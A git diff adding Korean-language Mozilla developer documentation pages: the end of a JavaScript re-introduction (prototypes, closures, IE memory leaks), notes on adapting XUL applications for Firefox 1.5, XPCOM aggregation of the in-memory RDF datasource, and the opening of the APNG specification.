+  this.last = last;
+}
+Person.prototype.fullName = function() {
+  return this.first + ' ' + this.last;
+};
+Person.prototype.fullNameReversed = function() {
+  return this.last + ', ' + this.first;
+};
+</pre>
+
+<p><code>Person.prototype</code>은 모든 <code>Person</code> 인스턴스들간에 공유되는 객체입니다. 이는 lookup(찾아보기) 체인의 한 부분을 이룹니다. (이건 "prototype chain"이라는 특수한 이름을 따로 가지고 있습니다) 다시 말해, <code>Person</code> 객체의 설정되지 않은 속성에 접근을 시도할 때마다, 그것의 대체용도로 JavaScript는 <code>Person.prototype</code>에 그 속성이 존재하는지 살펴봅니다.그 결과,  <code>Person.prototype</code>에 할당된 모든 것은 <code>this</code> 객체를 통해 해당 컨스트럭터에 속한 모든 인스턴스들간에 사용 가능하게 됩니다.</p>
+
+<p>이것은 정말 강력한 도구입니다. JavaScript에서는 임의의 prototype을 프로그램 내에서 언제든 변형할 수 있습니다. 이미 존재하는 객체에 추가적인 메소드를 실시간으로 추가가할 수 있다는 이야기입니다:</p>
+
+<pre class="brush: js notranslate">var s = new Person("Simon", "Willison");
+s.firstNameCaps(); //TypeError on line 1: s.firstNameCaps is not a function
+
+Person.prototype.firstNameCaps = function() {
+    return this.first.toUpperCase()
+};
+s.firstNameCaps(); // "SIMON"
+</pre>
+
+<p>흥미롭게도, JavaScript의 빌트인 객체의 prototype에도 뭔가를 더 추가할 수 있습니다. <code>String</code> 객체에 문자열 순서를 거꾸로 배열하여 돌려주는 메소드를 추가해 봅시다.</p>
+
+<pre class="brush: js notranslate">var s = "Simon";
+s.reversed(); // TypeError on line 1: s.reversed is not a function
+
+String.prototype.reversed = function() {
+    var r = "";
+    for (var i = this.length - 1; i &gt;= 0; i--) {
+        r += this[i];
+    }
+    return r;
+};
+
+s.reversed(); // nomiS
+</pre>
+
+<p>우리가 추가한 새로운 메소드는 심지어 문자열 상수에서도 동작합니다!</p>
+
+<pre class="brush: js notranslate">"This can now be reversed".reversed(); // desrever eb won nac sihT
+</pre>
+
+<p>기존에 언급한 바와같이, prototype은 체인의 한 부분을 이룹니다. 해당 체인의 루트는 <code>Object.prototype</code> 이며 <code>toString()</code> 메소드를 포함합니다. 이 메소드는 객체를 문자열로 나타내려할 때 호출됩니다. 이 메소드는 우리의 <code>Person</code> 객체의 디버깅에 유용합니다:</p>
+
+<pre class="brush: js notranslate">var s = new Person("Simon", "Willison");
+s.toString(); // [object Object]
+
+Person.prototype.toString = function() {
+  return '&lt;Person: ' + this.fullName() + '&gt;';
+}
+
+s.toString(); // "&lt;Person: Simon Willison&gt;"
+</pre>
+
+<p><code>avg.apply()</code>의 첫번째 매개변수가 null 이었던걸 기억해봅시다. <code>apply()</code>에 적용되는 첫번째 인자는 당연히 `<code>this</code>'로 간주되는 객체입니다. 여기에 <code>new</code> 의 간단한 구현을 보시죠:</p>
+
+<pre class="brush: js notranslate">function trivialNew(constructor, ...args) {
+    var o = {}; // 빈 객체를 생성
+    constructor.apply(o, args);
+    return o;
+}
+</pre>
+
+<p>이것은 prototype 체인을 설정하지 않으므로 <code>new</code>의 완벽한 대체물이 될 수 없습니다.(이 부분은 설명하기 어렵습니다). 이 내용은 자주 사용하지는 않겠지만 알아두면 좋습니다. 이 부분에서 <code>...args</code> (생략 부호를 포함해서)는 "<a href="/ko/docs/Web/JavaScript/Reference/Functions/rest_parameters">rest arguments</a>" 라고 불립니다. 이름이 암시하는 것처럼 매개변수의 나머지를 포함합니다.</p>
+
+<p>그러므로 이렇게 호출하는 것은</p>
+
+<pre class="notranslate">var bill = trivialNew(Person, 'William', 'Orange');</pre>
+
+<p>아래와 거의 동일합니다.</p>
+
+<pre class="notranslate">var bill = new Person('William', 'Orange');</pre>
+
+<p><code>apply()</code> 와 비슷하게 <code>this</code>를 다시 설정할 수 있게 하는, <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Function/call"><code>call</code></a>이라는 이름의 자매 함수가 있는데, 인자로 단일 배열이 아니라 확장된 인자 목록을 입력받습니다.</p>
+
+<pre class="brush: js notranslate">function lastNameCaps() {
+  return this.last.toUpperCase();
+}
+var s = new Person('Simon', 'Willison');
+lastNameCaps.call(s);
+// 위의 구문은 다음과 같습니다:
+s.lastNameCaps = lastNameCaps;
+s.lastNameCaps();
+</pre>
+
+<h3 id=".EB.82.B4.EC.9E.A5_.ED.95.A8.EC.88.98" name=".EB.82.B4.EC.9E.A5_.ED.95.A8.EC.88.98">내장 함수 (Inner functions)</h3>
+
+<p>다른 함수의 내부에서 JavaScript 함수를 선언할 수 있습니다. 우리는 <code>makePerson()</code> 함수 초기 버전에서 이것을 한번 본적이 있습니다. JavaScript에서 중첩 함수(nested functions)의 중요한 세부사항은 부모 함수 범위의 변수에 접근할 수 있다는 사실입니다:</p>
+
+<pre class="brush: js notranslate">function parentFunc() {
+    var a = 1;
+
+    function nestedFunc() {
+        var b = 4; // parentFunc은 사용할 수 없는 변수
+        return a + b;
+    }
+    return nestedFunc();  // 5
+}
+</pre>
+
+<p>좀 더 유지관리가 쉬운 코드를 작성하고자 할때 이 특성이 굉장히 유용합니다. 한개 혹은 두개의 정도의 함수에서만 호출되며 전체 코드중 다른 부분에서는 사용처가 없는 함수라면 그 함수내에 해당 함수를 중첩시키는 것이 좋습니다. 이렇게 전역 범위 함수의 갯수를 늘리지 않도록 하는 것은 언제나 좋은 습관입니다.</p>
+
+<p>이것은 또한 전역 변수에 대한 유혹을 뿌리칠 수 있는 좋은 대안이 됩니다. 복잡한 코드를 쓸 때, 다양한 함수들간에 값을 공유할 수 있도록 전역 변수를 사용하고 싶어집니다 - 전역 변수는 코드 유지 보수를 어렵게 만듭니다. 중첩 함수는 그 부모 함수의 범위에서 변수를 공유할 수 있으므로, 이 방법을 사용하면 전역 변수 이름공간을 건드리지 않고도 적절한 경우에 함수들을 연동시킬수 있습니다. - '지역 전역'이라고 불러도 괜찮겠네요. 이 기술을 사용할 때는 주의를 요하겠지만, 반드시 알아둬야할 유용한 기술입니다.</p>
+
+<h2 id=".ED.8F.90.ED.8F.AC_.28Closures.29" name=".ED.8F.90.ED.8F.AC_.28Closures.29">클로져 (Closures)</h2>
+
+<p>클로져 (역자주: 글자 그대로 한국어로 해석하면 닫힌 주머니)는 JavaScript가 제공해야만 하는 가장 막강한 추상 개념으로 우리를 이끕니다 - 하지만 동시에 잠재적으로 가장 혼란스럽기도 합니다. 다음 함수는 무엇을 하는 걸까요?</p>
+
+<pre class="brush: js notranslate">function makeAdder(a) {
+  return function(b) {
+    return a + b;
+  };
+}
+var add5 = makeAdder(5);
+var add20 = makeAdder(20);
+add5(6); // ?
+add20(7); // ?
+</pre>
+
+<p><code>makeAdder</code> 함수의 이름은 다음과 같은 과정을 거쳐 반드시 없어집니다: 해당 함수가 한 매개변수를 받아 호출됐을 때, 생성될 때 주어진 매개변수를 더하는 새 'adder' 함수를 생성합니다.</p>
+
+<p>여기서 일어나는 일은 다른 함수의 내에 정의된 어떤 함수가 외부 함수의 변수에 액세스한다는 점에서 앞에 언급한 내장 함수에서 일어나는 일과 매우 비슷합니다. 한가지 다른 점은 외부 함수가 리턴 된다는 점인데, 상식적으로 그것에 들어 있는 변수는 사라진다고 볼 수 있습니다. 하지만 그들은 여전히<em>존재합니다</em> - 그렇지 않으면 adder 함수는 동작하지 않겠지요. 게다가, <code>makeAdder</code> 지역 변수의 서로 다른 두 "복사본"이 존재합니다 - 하나의 <code>a</code>는 5이고, 다른 하나의 <code>a</code>는 20이죠. 따라서 해당 함수를 부른 결과는 다음과 같습니다:</p>
+
+<pre class="brush: js notranslate">x(6) // 11을 돌려줌
+y(7) // 27을 돌려줌
+</pre>
+
+<p>이건 실제로 일어나는 일입니다. JavaScript 함수가 실행될 때는 언제나, '범위' 객체가 생성되어 해당 함수내에서 생성된 지역 변수를 여기에 저장하고 있습니다. 함수 매개변수로서 넘겨진 어떤 변수라도 여기에 초기값으로 저장하고 있습니다. 이것은 모든 전역 변수와 함수가 들어있는 전역 객체와 비슷하지만, 두가지 중요한 차이점이 있습니다. 첫번째로, 함수가 실행될 때마다 새로운 범위 객체가 생성된다는 점과, 두번째로, (브라우저에서 window로 접근가능한) 전역 객체와 달리 범위 객체는 JavaScript 코드에서 직접적으로 액세스할 수 없다는 점입니다. 예를 들자면 현재 범위 객체의 속성에 반복 접근할 수 있는 수단이 없습니다.</p>
+
+<p>따라서 <code>makeAdder</code> 가 호출되면, 범위 객체는 <code>makeAdder</code> 함수에 매개변수로 넘겨진 하나의 속성 <code>a</code>를 가진 상태로 생성됩니다. 일반적으로 JavaScript의 가비지 컬렉터가 이때 <code>makeAdder</code>에 의해 생성된 범위 객체를 청소해야겠지만, 리턴된 함수가 여전히 범위 객체를 참조하고 있습니다. 결과적으로 범위 객체는 <code>makeAdder</code>에 의해 리턴된 함수 객체가 더는 참조되지 않을 때까지 가비지 컬렉터에 의해 정리되지 않게됩니다.</p>
+
+<p>범위 객체는 JavaScript 객체 체계에서 사용되는 prototype 사슬과 비슷한 범위 사슬이라고 불리는 사슬을 형성합니다.</p>
+
+<p>클로져는 함수와 함수에 의해 생성되는 범위 객체를 함께 지칭하는 용어입니다.</p>
+
+<p>또한 클로져는 상태를 저장할 수 있도록 허용합니다 - 그렇기 때문에, 객체의 내부에서 자주 사용될 수 있는 것입니다.</p>
+
+<h3 id=".EB.A9.94.EB.AA.A8.EB.A6.AC_.EB.88.84.EC.B6.9C" name=".EB.A9.94.EB.AA.A8.EB.A6.AC_.EB.88.84.EC.B6.9C">메모리 누출</h3>
+
+<p>클로져의 부작용은 Internet Explorer에서 심각하지는 않지만 쉽게 메모리 누출이 된다는 것입니다. JavaScript는 가비지 컬렉트를 하는 언어 입니다. 객체가 생성됨에 따라서 메모리가 할당되고, 사용하고난 메모리는 더 참조하는 다른 객체가 없을 때 되돌아가는 방식으로 동작하는 언어란 말이죠. 호스트 환경에서 제공되는 객체들은 해당 환경에 의해 다뤄집니다.</p>
+
+<p>브라우저 호스트는 HTML 페이지에 <a href="ko/DOM">DOM</a> 객체로서 표현되어있는 많은 수의 객체를 다뤄야 합니다. 이 객체들을 어떻게 할당하고 다시 거둬들일지는 브라우저 책임이죠.</p>
+
+<p>Internet Explorer는 이를 위해 자신만의 고유한, JavaScript의 그것과는 다른 가비지 컬렉션 방식을 사용합니다. 두 언어간에 상호작용이 일어날 수 있고 이 과정에서 메모리 누출이 발생할 수 있습니다.</p>
+
+<p>IE에서 메모리 누출은 JavaScript 객체와 고유 객체간에 참조하는 중 자기 자신을 참조 (circular reference, 순환 참조)하게 되는 일이 발생할 경우라면 언제든지 발생하게 됩니다. 다음을 고려해 보도록 합시다:</p>
+
+<pre class="brush: js notranslate">function leakMemory() {
+    var el = document.getElementById('el');
+    var o = { 'el': el };
+    el.o = o;
+}
+</pre>
+
+<p>위의 코드는 순환 참조로서 메모리 누출을 일으킵니다. IE는 완전히 다시 시작되기 전까지는 <code>el</code>와 <code>o</code>에 의해 사용되는 메모리를 반환하지 못합니다.</p>
+
+<p>위의 경우는 알아채지 못하고 지나갈 확률이 높습니다. 메모리 누출은 사실 오랫동안 실행되거나 큰 데이터 구조나 반복, 순환에 의해 누출된는 메모리 양이 많은 경우에서 실질적으로 고려할만한 가치가 생깁니다.</p>
+
+<p>누출이 이처럼 명확한 경우는 드뭅니다. 누출을 일으키는 데이터 구조는 수차례에 걸친 참조 구조를 가지고 있어서 순환 참조를 하고있는지 명확하지 않은 경우가 더 많습니다.</p>
+
+<p>클로져는 그렇게 되도록 하지않아도 간단하게 메모리 누출을 일으킬 수 있습니다. 다음을 고려해 봅시다:</p>
+
+<pre class="brush: js notranslate">function addHandler() {
+    var el = document.getElementById('el');
+    el.onclick = function() {
+        this.style.backgroundColor = 'red';
+    }
+}
+</pre>
+
+<p>위의 코드는 클릭했을때 배경색이 빨강으로 바뀌는 엘레멘트를 설정합니다. 그리고 메모리 누출도 일으킵니다. 어째서냐고요? <code>el</code>을 참조하면 의도와는 달리 익명 내부 함수 때문에 생성된 클로져 내에 붙잡혀 있게 되기 때문입니다. 이는 JavaScript 객체 (내부 함수)와 원시 객체 (<code>el</code>)간에 순환 참조를 만듭니다.</p>
+
+<p>이 문제를 피할 수 있는 많은 방법이 있습니다. 가장 간단한 건 이겁니다:</p>
+
+<pre class="brush: js notranslate">function addHandler() {
+    var el = document.getElementById('el');
+    el.onclick = function() {
+        this.style.backgroundColor = 'red';
+    }
+    el = null;
+}
+</pre>
+
+<p>이렇게 하면 순환 참조 고리를 끊을 수 있습니다.</p>
+
+<p>놀랍게도, 클로져에 의해 발생된 순환 참조를 고리를 끊기 위한 한 요령은 또다른 클로져를 추가하는 것입니다:</p>
+
+<pre class="brush: js notranslate">function addHandler() {
+    var clickHandler = function() {
+        this.style.backgroundColor = 'red';
+    }
+    (function() {
+        var el = document.getElementById('el');
+        el.onclick = clickHandler;
+    })();
+}
+</pre>
+
+<p>내부 함수는 실행되고 바로 사라지므로서, <code>clickHandler</code>와 함께 생성된 클로져로부터 그 내용을 숨깁니다.</p>
+
+<p>클로져를 피할 수 있는 또다른 좋은 요령은 <code>window.onunload</code> 이벤트가 발생하는 동안 순환 참조를 끊는 것입니다. 많은 이벤트 라이브러리가 이렇게 동작합니다. 주의할 것은 그렇게 하도록하면 <a href="ko/Using_Firefox_1.5_caching">Firefox 1.5의 bfcache</a>를 비활성화 하게 되므로, 별 다른 이유가 없다면 Firefox에서 <code>unload</code> listener를 등록해서는 안 된다는 것입니다.</p>
+
+<div class="originaldocinfo">
+<h2 id=".EC.9B.90.EB.B3.B8_.EB.AC.B8.EC.84.9C_.EC.A0.95.EB.B3.B4" name=".EC.9B.90.EB.B3.B8_.EB.AC.B8.EC.84.9C_.EC.A0.95.EB.B3.B4">원본 문서 정보</h2>
+
+<ul>
+ <li>저자: <a class="external" href="http://simon.incutio.com/">Simon Willison</a></li>
+ <li>최근 갱신 날짜: March 7, 2006</li>
+ <li>저작권: © 2006 Simon Willison, contributed under the Creative Commons: Attribute-Sharealike 2.0 license.</li>
+ <li>추가 정보: For more information about this tutorial (and for links to the original talk's slides), see Simon's <a class="external" href="http://simon.incutio.com/archive/2006/03/07/etech">Etech weblog post</a>.</li>
+</ul>
+</div>
+
+<div class="noinclude"></div>
+
+<p>{{ languages( { "en": "en/A_re-introduction_to_JavaScript", "fr": "fr/Une_reintroduction_a_JavaScript", "it": "it/Una_re-introduzione_a_Javascript", "ja": "ja/A_re-introduction_to_JavaScript", "pl": "pl/JavaScript/Na_pocz?tek", "zh-cn": "cn/A_re-introduction_to_JavaScript" } ) }}</p>
diff --git a/files/ko/adapting_xul_applications_for_firefox_1.5/index.html b/files/ko/adapting_xul_applications_for_firefox_1.5/index.html
new file mode 100644
index 0000000000..363b27b75e
--- /dev/null
+++ b/files/ko/adapting_xul_applications_for_firefox_1.5/index.html
@@ -0,0 +1,26 @@
+---
+title: Adapting XUL Applications for Firefox 1.5
+slug: Adapting_XUL_Applications_for_Firefox_1.5
+tags:
+  - Add-ons
+  - Extensions
+  - XUL
+translation_of: Mozilla/Firefox/Releases/1.5/Adapting_XUL_Applications_for_Firefox_1.5
+---
+<p>이 페이지는 XUL 개발자에 영향을 미치는 <a href="ko/Firefox_1.5">Firefox 1.5</a>에서 바뀐 점 목록을 포함합니다.</p>
+<h3 id=".ED.8A.B9.EC.A0.95_.EB.B0.94.EB.80.90_.EC.A0.90" name=".ED.8A.B9.EC.A0.95_.EB.B0.94.EB.80.90_.EC.A0.90">특정 바뀐 점</h3>
+<ul>
+ <li><a href="ko/Tree_Widget_Changes">Tree Widget Changes</a></li>
+ <li><a href="ko/International_characters_in_XUL_JavaScript">International characters in XUL JavaScript</a> (오직 ASCII 아닌 문자를 포함하는 JavaScript 파일을 지닌 확장기능에만 영향을 미칩니다.)</li>
+ <li><a href="ko/XMLHttpRequest_changes_for_Gecko1.8">XMLHttpRequest changes</a></li>
+ <li><a href="ko/XUL_Changes_for_Firefox_1.5">XUL Changes for Firefox 1.5</a></li>
+ <li><a href="ko/XPCNativeWrapper">XPCNativeWrapper</a>는 기본값으로 on이고 behavior는 1.0.x와 견주어 약간 바뀌었습니다.</li>
+ <li>contents.rdf를 deprecate하는 <a href="ko/Chrome_Registration">Chrome Registration</a>의 더 간단한 방법.</li>
+ <li>겹쳐진(overlayed) 문맥 메뉴를 위해: &lt;tt&gt;gContextMenu.linkURL()&lt;/tt&gt; 함수는 &lt;tt&gt;gContextMenu.getLinkURL()&lt;/tt&gt;로 이름이 바뀌었고 &lt;tt&gt;linkURL&lt;/tt&gt;은 이제 속성(property)입니다. 하위 호환성이 있게 쓰려면:<br>
+  &lt;tt&gt;url = 'getLinkURL' in gContextMenu ? gContextMenu.getLinkURL() : gContextMenu.linkURL();&lt;/tt&gt;</li>
+</ul>
+<h3 id=".EB.8B.A4.EB.A5.B8_.EC.A0.95.EB.B3.B4" name=".EB.8B.A4.EB.A5.B8_.EC.A0.95.EB.B3.B4">다른 정보</h3>
+<ul>
+ <li><a href="ko/Using_nsIXULAppInfo">How to check application's version using nsIXULAppInfo</a></li>
+ <li><a class="external" href="http://kb.mozillazine.org/Dev_:_Extensions_:_Cross-Version_Compatibility_Techniques">MozillaZine</a></li>
+</ul>
diff --git a/files/ko/aggregating_the_in-memory_datasource/index.html b/files/ko/aggregating_the_in-memory_datasource/index.html
new file mode 100644
index 0000000000..e41fe09c38
--- /dev/null
+++ b/files/ko/aggregating_the_in-memory_datasource/index.html
@@ -0,0 +1,125 @@
+---
+title: Aggregating the In-Memory Datasource
+slug: Aggregating_the_In-Memory_Datasource
+tags:
+  - RDF
+translation_of: Mozilla/Tech/XPCOM/Aggregating_the_In-Memory_Datasource
+---
+<h3 id="개요"> 개요 </h3>
+<p>당신은 메모리 상의 (in-memory) 데이터 소스에 XPCOM 모음(aggregation)<sup><a href="ko/Aggregating_the_In-Memory_Datasource#.EC.A3.BC">1</a></sup>을 사용할 수 있습니다.
+왜 이것이 필요할까요?
+만약 당신이 데이터 소스<sup><a href="ko/Aggregating_the_In-Memory_Datasource#.EC.A3.BC">2</a></sup>를 작성했다고 하면, 이를 구현하기 위한 한가지 방법은 메모리 상의 데이터 소스를 래핑(wrapping) 하는 것 입니다. 즉,
+</p>
+<pre>MyClass : public nsIMyInterface, public nsIRDFDataSource {
+private:
+    nsCOMPtr&lt;nsIRDFDataSource&gt; mInner;
+
+public:
+    // nsIRDFDataSource methods
+    NS_IMETHOD Init(const char* aURI) {
+        return mInner-&gt;Init(aURI);
+    }
+
+    NS_IMETHOD GetURI(char* *aURI) {
+        return mInner-&gt;GetURI(aURI);
+    }
+
+    // etc., for each method in nsIRDFDataSource!
+};
+</pre>
+<p>이것은 매우 힘들고, 에러를 발생시키기 쉬우며 인터페이스들이 (조금이라도) 변경된다면 역시 변경될 것입니다.
+이 경우 모음(aggregation)이 해결책이 될 수 있습니다! 다음은 이에 대한 자세한 사항들(gory details)입니다.
+</p>
+<h3 id="언제_동작하지_않을까"> 언제 동작하지 않을까? </h3>
+<p>비록 이 기법(magic)을 사용하는 것은 매우 편리하지만,
+메모리 상의 데이터 소스의 메소드를 "오버라이드"(override)하고 싶은 경우에는 동작하지 않을 것 입니다.
+예를 들어, 필자는
+<a class="external" href="http://lxr.mozilla.org/mozilla/source/browser/components/bookmarks/src/nsBookmarksService.cpp">북마크 데이터 소스</a>를
+작성하고 있는 동안, <code>Assert()</code> 메소드가 오직 "북마크에 관련된" 어서션(assertion)만을
+허용(accept)하도록 만들고 싶었습니다.
+만약 단지 메모리 상의 데이터 소스에 위임하도록 했었다면,
+<code>Assert()</code> 메소드는 오래된 임의의 쓰레기 값들을 허용했을 것입니다.
+마찬가지로, <code>Flush()</code> 메소드를 오버라이드하여 <code>bookmarks.html</code> 파일을 다시 디스크에 기록하도록 할 수 있었습니다.
+</p><p>다시 말해서, "읽기 전용 리플렉션"을 얻기 위해 데이터 소스를 구현할 때에만
+이 기법이 유용하게 사용될 수 있습니다.
+즉, 어떤 정보의 내용을 RDF 그래프로 반영(reflect)하고 싶은 경우를 말합니다.
+(아마도 RDF 그래프는 다른 정보들과 통합될 수 있으며 스타일을 적용하여 디스플레이될 수 있을 것입니다)
+</p>
+<h3 id="기술적인_세부_사항"> 기술적인 세부 사항 </h3>
+<p>앞의 코드처럼 <code>nsCOMPtr</code>를 위임자를 사용하겠지만,
+이번의 경우는 <code>nsIRDFDataSource</code> 객체를 이용하지 <i>않을</i> 것입니다.
+<code>nsCOMPtr&lt;nsIRDFDataSource&gt;</code> 를 사용하는 대신
+<code>nsCOMPtr&lt;nsISupports&gt;</code> 를 사용하길 원하게 될 것입니다.
+</p>
+<pre>class MyClass : public nsIMyInterface {
+    ...
+private:
+    nsCOMPtr&lt;nsISupports&gt; mInner;
+};
+</pre>
+<p>객체가 생성될 때 (혹은, 최악의 경우, 누군가 QI(?)를 한 경우에) 데이터 소스 위임자를 구성합니다.
+</p>
+<pre>rv = nsComponentManager::CreateInstance(
+        kRDFInMemoryDataSourceCID,
+        this, /* the "outer" */
+        nsCOMTypeInfo&lt;nsISupports&gt;::GetIID(),
+        getter_AddRefs(mInner));
+</pre>
+<p><code>this</code>를 "outer" 인수로 넘긴 것을 주의하십시오.
+이제, 메모리 상의 데이터 소스의 <code>QueryInterface()</code> 메소드의 구현이 실패한다면
+그것은 요청한 인터페이스를 구현하지 않았기 때문일 것입니다.
+이 경우 <code>QueryInterface()</code> 는 "outer"(우리가 구현한 객체)에게 <i>전달</i>될 것입니다.
+이것은 <code>QueryInterface()</code> 의 대칭적 특성을 보존합니다.
+</p><p>대칭성을 만족하기 위해, 우리의 <code>QueryInterface()</code> 구현은
+<code>nsIRDFDataSource</code>를 위임자에서 전달할 필요가 있습니다.<sup><a href="ko/Aggregating_the_In-Memory_Datasource#.EC.A3.BC">3</a></sup>
+</p>
+<pre>NS_IMETHODIMP
+MyClass::QueryInterface(REFNSIID aIID, void** aResult)
+{
+  NS_PRECONDITION(aResult != nsnull, "null ptr");
+  if (! aResult)
+    return NS_ERROR_NULL_POINTER;
+
+  if (aIID.Equals(nsCOMTypeInfo&lt;nsIMyInterface&gt;::GetIID()) ||
+      aIID.Equals(nsCOMTypeInfo&lt;nsISupports&gt;::GetIID())) {
+    *aResult = NS_STATIC_CAST(nsIGlobalHistory*, this);
+  }
+  else if (aIID.Equals(nsCOMTypeInfo&lt;nsIRDFDataSource&gt;::GetIID())) {
+    return mInner-&gt;QueryInterface(aIID, aResult);
+  }
+  else {
+    *aResult = nsnull;
+    return NS_NOINTERFACE;
+  }
+
+  NS_ADDREF(NS_STATIC_CAST(nsISupports*, aResult));
+  return NS_OK;
+}
+</pre>
+<p>여기서 주의해야 할 사항은 당신의 객체 내의 데이터 소스를 통해 무언가를 하기 전에
+<code>nsISupports</code>에서 <code>nsIRDFDataSource</code>로
+<code>QueryInterface()</code>를 수행해야 한다는 것입니다.
+예를 들면:
+</p>
+<pre>NS_IMETHODIMP
+MyClass::DoSomething()
+{
+  nsCOMPtr&lt;nsIRDFDataSopurce&gt; ds = do_QueryInterface(mInner);
+
+  rv = ds-&gt;Assert(/* 필요한 작업을 수행합니다 */);
+
+  // etc...
+
+  return NS_OK;
+}
+</pre>
+<p><code>nsIRDFDataSource</code>의 모음에 대한 포인터를 멤버 변수로 가지고 싶어할 수 있을 것입니다.
+하지만 이것은 불가능합니다. 만약 그렇게 한다면 끝나지 않는 순환 참조가 발생할 것입니다.
+</p>
+<h3 id="주"> 주 </h3>
+<ol><li>모든 종류의 <a href="ko/XPCOM">XPCOM</a> 모음(aggregation)에 대해서 설명하는 것은 이 문서의 범위를 넘어갑니다. <code>QueryInterface()</code> 메소드를 오버로드하는 기본적인 아이디어는, 인터페이스를 지원하는 <i>위임자(delegate)</i> 객체를 반환하도록 하는 것입니다. 위임자의 참조 카운트를 안전하게 관리하고, <code>QueryInterface()</code>의 반사적(reflexive), 대칭적(symmetric), 추이적 (transitive) 특성을 만족시키기 위해 약간의 트릭이 사용됩니다. 이 부분에 대해 흥미를 느낀 사람이라면, COM 관련 서적의 해당 부분을 읽어보기 바랍니다.
+</li><li>데이터 소스를 작성하기 위한 정보를 더 얻고 싶다면, <a href="ko/RDF_Datasource_How-To">RDF 데이터 소스 How-To</a> 문서를 보기 바랍니다.
+</li><li><code>mInner</code> 가 지원하는 것을 <i>알고</i> 있는 경우, 다른 인터페이스들도 <code>mInner</code> 에게 전달(forward)할 수 있습니다. 하지만 이는 <b>매우 위험합니다</b>. 왜냐하면 동일한 객체의 다른 구현에서는 이러한 인터페이스를 지원하지 <i>않을</i> 수 있기 때문입니다. 이 경우 <code>QueryInterface()</code>는 다시 당신의 객체?로 넘어오게 되며, 이는 무한히 반복될 것입니다.
+</li></ol>
+<p><span>Interwiki Language Links</span>
+</p>
diff --git a/files/ko/animated_png_graphics/index.html b/files/ko/animated_png_graphics/index.html
new file mode 100644
index 0000000000..9321c189d4
--- /dev/null
+++ b/files/ko/animated_png_graphics/index.html
@@ -0,0 +1,430 @@
+---
+title: Animated PNG graphics
+slug: Animated_PNG_graphics
+tags:
+  - Firefox 3
+translation_of: Mozilla/Tech/APNG
+---
+<p></p>
+<h3 id=".EC.9E.91.EC.84.B1.EC.9E.90" name=".EC.9E.91.EC.84.B1.EC.9E.90">작성자</h3>
+<p>APNG 명세의 작성자는 다음과 같습니다:</p>
+<ul>
+ <li>Stuart Parmenter &lt;<a class="link-mailto" href="mailto:pavlov@pavlov.net" rel="freelink">pavlov@pavlov.net</a>&gt;</li>
+ <li>Vladimir Vukicevic &lt;<a class="link-mailto" href="mailto:vladimir@pobox.com" rel="freelink">vladimir@pobox.com</a>&gt;</li>
+ <li>Andrew Smith &lt;<a class="link-mailto" href="mailto:asmith15@littlesvr.ca" rel="freelink">asmith15@littlesvr.ca</a>&gt;</li>
+</ul>
+<p> </p>
+<h3 id=".EA.B0.9C.EC.9A.94" name=".EA.B0.9C.EC.9A.94">개요</h3>
+<p>APNG는 움직이는 이미지에 대한 지원을 추가한 <a class="external" href="http://www.w3.org/TR/PNG/">이식가능한 네트워크 그래픽</a> (PNG) 포맷의 확장입니다. 이는 전통적으로 <a class="external" href="http://www.w3.org/Graphics/GIF/spec-gif89a.txt">GIF</a> 포맷을 사용했던 간단한 움직이는 이미지를 대체하기 위한 것이며 24비트 이미지와 8비트 투명도 지원을 추가하고 있습니다. APNG는 MNG에 대한 보다 간단한 대안으로서 인터넷 상에서 움직이는 이미지의 가장 일반적인 사용에 적합한 명세를 제공하고 있습니다.</p>
+<p>APNG는 PNG와 후위 호환이 가능(backwards-compatible)합니다. 즉, 모든 PNG 디코더는 APNG 특정 청크를 무시하고 단일 이미지를 표시할 수 있어야 합니다.</p>
+<h4 id=".EC.9A.A9.EC.96.B4" name=".EC.9A.A9.EC.96.B4">용어</h4>
+<p><b>기본 이미지(default image)</b>는 표준 'IDAT' 청크가 기술하는 이미지로서 APNG를 지원하지 않는 디코더가 표시하는 이미지입니다.</p>
+<p><b>캔버스(canvas)</b>는 프레임이 표시되는 출력 장치의 영역입니다. 디코더가 꼭 출력 버퍼의 내용을 이용할 수 있는 것은 아닙니다. PNG 명세에 따르면 선택할 만한 바탕이 없는 경우 'bKGD' 청크가 존재하면 이를 캔버스를 채우는데 사용하게 됩니다.</p>
+<p><b>출력 버퍼(output buffer)</b>는 PNG 'IHDR' 청크의 너비와 높이 매개 변수로 지정된 치수를 가진 픽셀 배열입니다. 개념적으로 각 프레임은 캔버스에서 조합되기 전에 출력 버퍼에서 구성됩니다. 디코더는 출력 버퍼의 내용을 이용할 수 있습니다. 출력 버퍼의 모퉁이는 캔버스의 모퉁이에 대응됩니다.</p>
+<p><b>완전 투명 흑색(Fully transparent black)</b>은 적색, 녹색, 청색, 투명 요소가 모두 0으로 설정된 것을 의미합니다.</p>
+<p>청크를 기술할 때, <code><b>unsigned int</b></code>는 0부터 (2^31)-1 범위로 제한된 네트워크 바이트 순서를 따르는 32비트 부호없는 정수입니다. <code><b>unsigned short</b></code>는 0부터 (2^16)-1 범위의 네트워크 바이트 순서를 따르는 16비트 부호없는 정수입니다. <code><b>byte</b></code>는 0부터 (2^8)-1 범위의 8비트 부호없는 정수입니다.</p>
+<h4 id=".EC.98.A4.EB.A5.98_.EC.B2.98.EB.A6.AC" name=".EC.98.A4.EB.A5.98_.EC.B2.98.EB.A6.AC">오류 처리</h4>
+<p>APNG는 전체 이미지를 읽기 전에 점증적인 프레임 표시가 가능하도록 설계되었습니다. 그러므로 애니메이션이 일정 부분 진행될 때까지 오류가 발견되지 않을 수도 있습니다. 오류가 발생하는 경우, 디코더는 그 후의 모든 프레임을 버리고 애니메이션을 멈추고 기본 이미지를 표시하는 것으로 돌아가야 합니다. 디코더가 애니매이션을 시작하기 전에 오류를 발견하면 기본 이미지를 표시해야 합니다. 적합한 경우에는 오류 메시지를 사용자에게 표시할 수도 있습니다.</p>
+<h3 id=".EA.B5.AC.EC.A1.B0" name=".EA.B5.AC.EC.A1.B0">구조</h3>
+<p>APNG 스트림은 <a class="external" href="http://www.w3.org/TR/PNG/">PNG 명세</a>에 정의된 일반적인 PNG 스트림으로서 애니메이션을 기술하고 부가적인 프레임 자료를 제공하는 세 개의 추가 청크 형식을 포함합니다.</p>
+<p>APNG로 인식되려면 'acTL' 청크가 'IDAT' 청크보다 먼저 스트림에 나타나야 합니다. 'acTL' 구조는 아래에서 설명하고 있습니다.</p>
+<p>개념적으로 각 재연의 처음에 출력 버퍼는 'IHDR' 청크의 너비와 높이 치수를 따르는 완전 투명 흑색 직사각형으로 완전하게 초기화되어야 합니다.</p>
